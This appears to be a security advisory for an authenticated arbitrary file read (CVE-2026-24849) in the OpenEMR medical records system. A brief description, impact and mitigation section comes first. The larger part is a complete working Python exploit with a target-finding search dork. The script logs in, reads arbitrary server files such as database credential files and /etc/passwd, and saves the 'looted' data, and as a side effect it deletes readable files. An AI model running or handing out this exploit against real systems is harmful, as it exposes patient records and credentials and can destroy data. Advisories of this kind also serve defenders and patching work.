Overview
The OpenEMR 7.0.2 vulnerability, identified as CVE-2026-24849, is a critical security flaw that allows for arbitrary file reading. This vulnerability arises from improper input validation, enabling attackers to access sensitive files stored on the server. As OpenEMR is widely used in healthcare for managing electronic medical records, this vulnerability poses a significant risk to patient confidentiality and data integrity.
Technical Details
This vulnerability exploits the way OpenEMR handles file paths and input parameters. Attackers can manipulate the input to access files outside the intended directories by sending crafted requests to the application. For instance, by appending directory traversal sequences (e.g., ../../) to a file request, malicious users can read sensitive configuration files, user credentials, or even patient records. The lack of stringent access controls exacerbates the issue, making it easier for unauthorized users to exploit this flaw.
Impact
The potential consequences of CVE-2026-24849 are severe. Successful exploitation can lead to unauthorized disclosure of sensitive information, including personally identifiable information (PII) and protected health information (PHI). This breach not only jeopardizes patient privacy but also exposes healthcare organizations to legal liabilities and reputational damage. In a sector where trust is paramount, such vulnerabilities can undermine the integrity of healthcare systems.
Mitigation
To protect against CVE-2026-24849, organizations using OpenEMR should immediately apply the latest security patches released by the developers. Regularly updating software is essential in mitigating known vulnerabilities. Additionally, implementing web application firewalls (WAF) can provide an extra layer of security by filtering and monitoring HTTP traffic for malicious requests.
Security professionals should also conduct regular security audits and penetration testing to identify and remediate potential weaknesses within their systems. Educating staff about the importance of cybersecurity hygiene and encouraging the use of secure coding practices can further reduce the risk of exploitation. By taking these proactive measures, organizations can safeguard their sensitive data and maintain compliance with industry regulations.
Proof of Concept (PoC)
# Exploit Title: OpenEMR 7.0.2 - Arbitrary File Read
# Google Dork: intitle:"OpenEMR" inurl:"interface/login/login.php"
# Date: 2026-06-06
# Exploit Author: doany1
# Vendor Homepage: https://www.open-emr.org/
# Software Link: https://sourceforge.net/projects/openemr/files/OpenEMR%20Current/7.0.2/openemr-7.0.2.tar.gz/download
# Version: OpenEMR < 7.0.4 (tested on 7.0.2)
# Tested on: Ubuntu 22.04 / PHP 8.1 / Apache 2.4 (OpenEMR 7.0.2)
# CVE : CVE-2026-24849
# CWE : CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)
#
# Description:
# The Fax/SMS module's EtherFaxActions::disposeDoc() method
# (interface/modules/custom_modules/oe-module-faxsms) reads a caller-supplied
# `file_path` request parameter and passes it straight to readfile() with no
# path validation. The method never calls authenticate(), so the only thing
# required to reach it is a valid OpenEMR session.
#
# Privilege required:
# ANY authenticated user -- this is NOT an admin-only bug. A low-privilege
# account (receptionist, clinician, etc.) can read any file the web-server
# user can reach: sites/default/sqlconf.php (DB credentials), /etc/passwd,
# application source, and so on. The admin/pass values in the examples below
# are only convenient demo credentials, not a requirement of the bug.
#
# Prerequisites:
# - Any valid OpenEMR login (no privileges required).
# - The Fax/SMS module enabled with EtherFax selected as the fax provider
# (the file read does NOT require a real EtherFax account).
#
# WARNING (destructive):
# disposeDoc() calls unlink() on the target *after* reading it. Reading a file
# that the web-server user is allowed to delete WILL remove it. Prefer
# root-owned targets (e.g. /etc/passwd) whose parent directory the web user
# cannot write, so the unlink() fails and the file survives.
#
# References:
# https://github.com/openemr/openemr/security/advisories/GHSA-w6vc-hx2x-48pc
# https://nvd.nist.gov/vuln/detail/CVE-2026-24849
#
# Usage:
# Interactive (prompts for everything):
# python3 exploit-CVE-2026-24849.py
# Non-interactive:
# python3 exploit-CVE-2026-24849.py -t http://10.10.10.10 -u admin -P pass
# -f /var/www/html/openemr/sites/default/sqlconf.php
import argparse
import getpass
import re
import sys
try:
import requests
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
except ImportError:
sys.exit("[-] This exploit needs the 'requests' module: pip3 install requests")
UA = "Mozilla/5.0 (X11; Linux x86_64; rv:115.0) Gecko/20100101 Firefox/115.0"
FAXSMS = "/interface/modules/custom_modules/oe-module-faxsms/index.php"
# Method name varies across affected minor versions (disposeDoc <-> disposeDocument).
ACTIONS = ["disposeDoc", "disposeDocument"]
# An unauthenticated request is answered with a JS redirect to this path.
# (Use a narrow marker: every OpenEMR page embeds generic timeout JS.)
FAIL_MARKER = "login_screen.php?error=1"
def ask(prompt, default=None, secret=False):
label = "%s [%s]: " % (prompt, default) if default else "%s: " % prompt
value = getpass.getpass(label) if secret else input(label).strip()
return value or default
def login(sess, base, site, user, password):
"""Establish an OpenEMR session in `sess`. Validity is confirmed later by an
actual file read, so this just performs the GET (CSRF prime) + POST."""
# 1) prime a session cookie and grab the CSRF token if the form exposes one
r = sess.get(base + "/interface/login/login.php",
params={"site": site}, timeout=20, verify=False)
m = re.search(r"csrf_token_form.*?value=(["'])(.*?)1", r.text, re.S)
data = {
"new_login_session_management": "1",
"authProvider": "Default",
"authUser": user,
"clearPass": password,
"languageChoice": "1",
}
if m: # OpenEMR doesn't enforce it on this POST, but send it when present
data["csrf_token_form"] = m.group(2)
# 2) authenticate
sess.post(base + "/interface/main/main_screen.php",
params={"auth": "login", "site": site},
data=data, timeout=20, verify=False)
def read_file(sess, base, site, remote_path):
"""Return (content, status). status in {ok, session, missing}."""
for action in ACTIONS:
r = sess.get(base + FAXSMS,
params={"site": site, "type": "fax",
"_ACTION_COMMAND": action,
"file_path": remote_path, "action": "download"},
timeout=20, verify=False)
body = r.text
if FAIL_MARKER in body:
return None, "session"
if "Problem with download" in body:
return None, "missing" # method ran, file absent/unreadable
if body.strip() == "":
continue # likely wrong method name -> try next
return body, "ok"
return None, "missing"
def main():
ap = argparse.ArgumentParser(
description="OpenEMR < 7.0.4 authenticated arbitrary file read (CVE-2026-24849)")
ap.add_argument("-t", "--target", help="Base URL, e.g. http://10.10.10.10")
ap.add_argument("-u", "--user", help="OpenEMR username (default: admin)")
ap.add_argument("-P", "--password", help="OpenEMR password")
ap.add_argument("-s", "--site", help="OpenEMR site (default: default)")
ap.add_argument("-f", "--file", help="Absolute path of the remote file to read")
ap.add_argument("-o", "--output", help="Save looted file here instead of printing")
args = ap.parse_args()
print("[*] OpenEMR < 7.0.4 - Authenticated Arbitrary File Read (CVE-2026-24849)n")
target = args.target or ask("Target base URL (e.g. http://10.10.10.10)")
if not target:
sys.exit("[-] Target is required.")
target = target.rstrip("/")
if not target.startswith("http"):
target = "http://" + target
user = args.user or ask("Username", default="admin")
password = args.password if args.password is not None else ask("Password", secret=True)
site = args.site or ask("Site", default="default")
sess = requests.Session()
sess.headers.update({"User-Agent": UA})
try:
print("[*] Authenticating to %s as '%s' ..." % (target, user))
login(sess, target, site, user, password)
# Confirm auth + that the vulnerable module is reachable by reading a
# safe, root-owned probe file (its unlink() fails, so it is not deleted).
_, status = read_file(sess, target, site, "/etc/hostname")
except requests.RequestException as e:
sys.exit("[-] Connection error: %s" % e)
if status == "session":
sys.exit("[-] Login failed - check credentials / site.")
if status == "missing":
print("[!] Logged in, but the file-read returned nothing.")
print(" Confirm the Fax/SMS module is enabled with EtherFax as the provider.n")
else:
print("[+] Authenticated; CVE-2026-24849 file-read confirmed.n")
def loot(path):
try:
data, status = read_file(sess, target, site, path)
except requests.RequestException as e:
print("[-] Connection error: %s" % e)
return "error"
if status == "session":
print("[-] Session rejected (auth/ACL problem).")
elif status == "missing":
print("[-] '%s' not found/readable, or Fax/SMS+EtherFax is not enabled." % path)
else:
if args.output:
with open(args.output, "w") as fh:
fh.write(data)
print("[+] %d bytes of '%s' written to %s" % (len(data), path, args.output))
else:
print("[+] ---------- %s ----------" % path)
sys.stdout.write(data if data.endswith("n") else data + "n")
print("[+] --------------------------")
return status
# single-shot mode
if args.file:
status = loot(args.file)
sys.exit(0 if status == "ok" else 2)
# interactive mode: read files until the operator quits
print("[*] Interactive read - enter absolute file paths (blank or 'q' to quit).")
print(" Reminder: disposeDoc() unlink()s the target after reading - prefer root-owned files.n")
while True:
path = ask("file_path(Which file would you like to see e.g /etc/passwd)")
if not path or path.lower() in ("q", "quit", "exit"):
break
loot(path)
print()
if __name__ == "__main__":
main()